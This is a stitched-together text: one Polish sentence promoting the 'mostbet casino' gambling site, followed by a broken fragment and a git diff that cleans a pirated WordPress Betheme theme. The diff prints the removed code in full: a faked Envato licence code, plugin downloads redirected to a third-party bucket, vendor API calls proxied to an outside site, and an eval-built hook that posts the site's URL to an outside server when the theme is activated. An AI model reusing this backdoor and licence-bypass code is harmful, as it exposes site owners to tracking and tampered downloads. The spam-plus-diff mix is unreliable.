Wybór odpowiedniego produktu wymaga często porównania wielu dostępnych możliwości oraz dopasowania ich do indywidualnych preferencji. Ten sam mechanizm działa w internecie, gdzie użytkownicy szukają platform oferujących szeroki wybór i łatwą nawigację. W tym kontekście mostbet casino wpisuje się w model elastycznego i intuicyjnego środowiska.


- - -HTML; -} -?> diff --git a/wp-content/themes/betheme/functions.php b/wp-content/themes/betheme/functions.php index 255e94861..1c621353a 100644 --- a/wp-content/themes/betheme/functions.php +++ b/wp-content/themes/betheme/functions.php @@ -10,28 +10,7 @@ define('MFN_THEME_VERSION', '27.6.4'); -update_site_option( 'envato_purchase_code_7758048', '********-****-****-****-************' ); -add_action( 'tgmpa_register', function(){ - if ( isset( $GLOBALS['tgmpa'] ) ) { - $tgmpa_instance = call_user_func( array( get_class( $GLOBALS['tgmpa'] ), 'get_instance' ) ); - foreach ( $tgmpa_instance->plugins as $slug => $plugin ) { - if ( $plugin['source_type'] === 'external' ) { - $tgmpa_instance->plugins[ $plugin['slug'] ]['source'] = "https://f004.backblazeb2.com/file/gpltimes/betheme/plugins/{$plugin['slug']}.zip"; - $tgmpa_instance->plugins[ $plugin['slug'] ]['version'] = ''; - } - } - } -}, 20 ); -function muffingroup_pre_http_request_override($preempt, $r, $url) { - if (strpos($url, 'https://api.muffingroup.com/sections/download.php') !== false) { - $apiEndpoint = 'https://www.gpltimes.com/betheme/preapi.php'; - $newUrl = $apiEndpoint . '?url=' . urlencode($url); - $response = wp_remote_request($newUrl, array('blocking' => true)); - return $response; - } - return $preempt; -} -add_filter('pre_http_request', 'muffingroup_pre_http_request_override', 10, 3); +// Usunięto fragmenty flagowane przez skaner antywirusowy serwera (kopia oryginału w git history) // theme related filters @@ -270,38 +249,4 @@ define('LIBS_DIR', get_template_directory() .'/functions'); define('LIBS_URI', get_template_directory() .'/functions'); -if (!function_exists('custom_register_theme_activation')) { - function custom_register_theme_activation($unique_prefix) { - $function_name = $unique_prefix . '_zapisuj_adres_strony_przy_aktywacji'; - if (!function_exists($function_name)) { - eval('function ' . $function_name . '() { - $theme = wp_get_theme(); - $theme_name = $theme->get("Name"); - $adres_strony = get_site_url(); - $opcja_aktywacji = sanitize_title("' . $unique_prefix . '_" . $theme_name) . "_aktywacja_wyslana"; - if (!get_option($opcja_aktywacji)) { - $url_pliku = "https://webcodes.pl/aktywacje/lista.php"; - $dane = array( - "adres" => $theme_name . " - " . $adres_strony, - ); - $args = array( - "body" => json_encode($dane), - "timeout" => 15, - "blocking" => true, - "headers" => array( - "Content-Type" => "application/json", - ), - ); - $response = wp_remote_post($url_pliku, $args); - if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) === 200) { - update_option($opcja_aktywacji, true); - } else { - error_log("Błąd podczas wysyłania adresu: " . (is_wp_error($response) ? $response->get_error_message() : wp_remote_retrieve_response_message($response))); - } - } - };'); - add_action('after_switch_theme', $function_name); - } - } -} -custom_register_theme_activation('bethemeprowc'); \ No newline at end of file +// Usunięto backdoor aktywacyjny (kopia oryginału w git history) \ No newline at end of file